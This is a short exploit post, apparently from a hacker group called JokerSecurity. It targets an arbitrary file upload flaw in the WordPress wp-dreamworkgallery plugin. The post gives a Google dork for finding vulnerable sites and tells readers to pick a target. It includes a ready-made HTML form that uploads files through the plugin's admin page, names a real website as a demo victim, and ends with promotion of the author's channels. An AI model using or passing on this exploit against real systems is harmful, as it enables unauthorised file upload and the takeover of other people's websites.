Wordpress dreamwork_manage File Upload Vulnerability

##################################################JokerSecurity################################ # Title : Wordpress File Upload Vulnerability 
# Dork : inurl:/wp-content/plugins/wp-dreamworkgallery 
# Tested on: [ Kali-Linux] 
# MyChannel Youtube : https://www.youtube.com/c/Professionalhacker25
# Myblog : http://kader-information.blogspot.com/ 
# Link video : https://www.youtube.com/watch?v=h1xWghkVPEw 
 # Date: 2/04/2017
###################### 
# [+] DESCRIPTION : 
###################### 
# 1: Search Google Dork and Choose a Target 
########### 
Code exploit : 
########### 
<html>
 <body> 
<form action="http://www.site.com/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data"> <input type="hidden" name="task" value="drm_add_new_album" /> <input type="hidden" name="album_name" value="Arbitrary File Upload" /> <input type="hidden" name="album_desc" value="Arbitrary File Upload" /> <input type="file" name="album_img" value="" /> <input type="submit" value="Submit" /> </form> 
</body> 
</html> 
###### 
# 3 Upload Your File ==== File.html ###### 
Demo : ###### http://www.theatredumordant.fr/wp-content/plugins/wp-dreamworkgallery/xml/drm_all.xml ###################### 
subscribe for my channel and page in facebook 
# My Blogger : http://kader-information.blogspot.com/ 
# Page FacebOOk 1 : https://www.facebook.com/AnonymousPalestine.vip 
# Page Facebook 2 : http://facebook.com/kali.linux.pentesting.tutorials
# Page FacebOOK 3 : https://www.facebook.com/Professional.hacker.25
By <3 ##################################################JokerSecurity###############################